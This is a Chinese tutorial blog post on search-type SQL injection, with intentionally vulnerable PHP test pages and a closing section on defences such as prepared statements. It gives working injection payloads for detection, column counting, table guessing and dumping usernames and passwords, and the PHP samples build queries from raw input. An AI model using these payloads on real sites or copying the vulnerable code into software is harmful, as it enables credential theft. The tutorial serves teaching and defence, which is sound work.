SQL注入-搜索型输入

一、搜索型注入简介与原理

1)简介
一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:


其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入。


2)原理

$sql="select * from user where password like '%$pwd%' order by password";

 
这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?

'and 1=1 and '%'='


这样的话这句SQL语句就变成了这样:

select * from user where password like '%fendo'and 1=1 and '%'='%' order by password

存在SQL注入。

二、搜索型注入判断
 判断搜索型注入的方法:

1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;

2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;

3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况

4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况

5 根据两次的返回情况来判断是不是搜索型文本框注入了



下面这几种语句都可以:

'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='


 
 三、搜索型注入实战


1)GET型注入
 
测试源码:

    <?
    $pwd=$_GET['pwd'];
    $conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库
    if($conn){
    	echo "连接数据库成功!"; 
    }//判断连接是否成功
    echo "<br>";
    mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)
    $sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句
    $result=mysql_query($sql);
    while($row = mysql_fetch_array($result)){ 
    	echo "用户ID:".$row['id']."<br >";
    	echo "用户名:".$row['username']."<br >";
    	echo "用户密码:".$row['password']."<br >";
    	echo "用户邮箱:".$row['email']."<br >";
    }
    mysql_close($conn); //关闭数据库连接
    echo "<hr>";
    echo "你当前执行的sql语句为:"."<br >";
    echo $sql;
    ?>


 
1.判断字段数

语句:

%' union select 1,2,3,4,...... and '%'='

 

1.jpg



还有种方法
语句:

  %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='


把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。
 

2.jpg




2.判断表名

语句:

%'and(select count(*)from admin)>0 and '%'='

 

3.jpg



把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。


3.猜解密码

由于这里用的就是密码,所以这里换成猜解用户名
 
 
2)POST型注入

测试源码:

<?  

//--------------------------post处理--------------------------------//  

$name=addslashes($_POST['n']);   

$pass=addslashes($_POST['p']);  

$conn = mysql_connect('127.0.0.1','root','123');   

if($conn){  

    echo "mysql连接成功";  

    echo "<hr>";    

}  

mysql_select_db('fendo',$conn);    

$sql="select * from user where username='$name' and password='$pass'";  

$result=mysql_query($sql);  

mysql_close($conn);  

while($row = mysql_fetch_array($result)){  

    echo "用户ID:".$row['id']."<br >";  

    echo "用户名:".$row['username']."<br >";  

    echo "用户密码:".$row['password']."<br >";  

}  

echo "当前执行的sql语句:".$sql;  

?>  

 

<form action="" method="POST">  

账号:<input name="n" type="text" /><br><br>  

密码:<input name="p" type="text" /><br><br>  

<input name="" type="submit" value="提交" />  

 

</form>  

 

4.jpg




1.判断是否存在SQL注入

用PHP万能密码进行测试

' or 1=1#  

 

5.jpg





在用户名里输入万能密码如果没报错,就说明存在SQL注入。
 
 
2.猜字段数

' order by 4#  

 

6.jpg



逐次更改数字去猜,直到不报错为止。
 
 
3.猜表名

'or 1=1 union select 1,2,3,4 #  

 

7.jpg



逐次累加数字,直到不报错为止。
 
 
4.猜内容
 
替换1,2,3为你想要获得的内容
 

8.jpg

'or 1=1 union select username,password,3,4 from user#   


 
 
 

搜索型 SQL 注入作为 SQL 注入的一种类型,核心原理是攻击者利用应用程序在处理用户搜索输入时的漏洞,通过输入恶意 SQL 代码来改变原有的 SQL 查询逻辑。当应用程序直接将未经处理的用户搜索输入嵌入到 SQL 查询中时,攻击者就能达成其恶意目的。例如,在一个搜索功能中,原本的 SQL 查询为 `SELECT * FROM products WHERE name = '用户输入的搜索词'`,若攻击者输入 `' OR 1=1 --`,那么查询就会变为 `SELECT * FROM products WHERE name = '' OR 1=1 --'`,`1=1` 恒为真,`--` 是 SQL 中的注释符号,会将后面的内容注释掉,这样攻击者就能绕过正常的搜索条件,获取所有产品信息 [^2]。 其危害主要体现在数据泄露方面。攻击者可以利用搜索型 SQL 注入获取数据库中的敏感信息,如用户的账号、密码、个人资料等。这不仅会对用户的隐私造成严重威胁,还可能导致企业面临法律风险和声誉损失。此外,攻击者还可能通过注入代码修改或删除数据库中的数据,破坏数据的完整性和可用性,影响企业的正常运营 [^2]。 防范搜索型 SQL 注入可以采用以下方法: - **使用预编译语句(PreparedStatement)**:预编译语句会对 SQL 语句的结构和参数进行分离处理。当执行查询时,数据库会对 SQL 语句进行预编译,之后再将用户输入的参数作为独立的数据进行处理,这样就能有效防止恶意代码改变 SQL 查询的逻辑。例如在 Java 中使用 `PreparedStatement` 的示例代码如下: ```java import java.sql.Connection; import java.sql.DriverManager; import java.sql.PreparedStatement; import java.sql.ResultSet; import java.sql.SQLException; public class PreparedStatementExample { public static void main(String[] args) { String url = "jdbc:mysql://localhost:3306/mydb"; String user = "root"; String password = "password"; try (Connection conn = DriverManager.getConnection(url, user, password)) { String sql = "SELECT * FROM products WHERE name = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, "用户输入的搜索词"); ResultSet rs = pstmt.executeQuery(); while (rs.next()) { // 处理查询结果 } } catch (SQLException e) { e.printStackTrace(); } } } ``` - **输入验证和过滤**:对用户输入进行严格的验证和过滤,只允许合法的字符和格式。例如,限制输入的长度、检查输入是否包含特殊字符等。可以使用正则表达式来进行输入验证,示例代码如下: ```python import re def is_valid_input(input_str): pattern = re.compile(r'^[a-zA-Z0-9\s]+$') return pattern.match(input_str) is not None search_input = "用户输入的搜索词" if is_valid_input(search_input): # 执行搜索操作 pass else: # 提示输入不合法 pass ``` - **最小化数据库权限**:为数据库用户分配最小的必要权限,避免使用具有高权限的账号来执行应用程序的数据库操作。这样即使攻击者成功注入 SQL 代码,由于权限限制,也无法对数据库造成严重的破坏。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值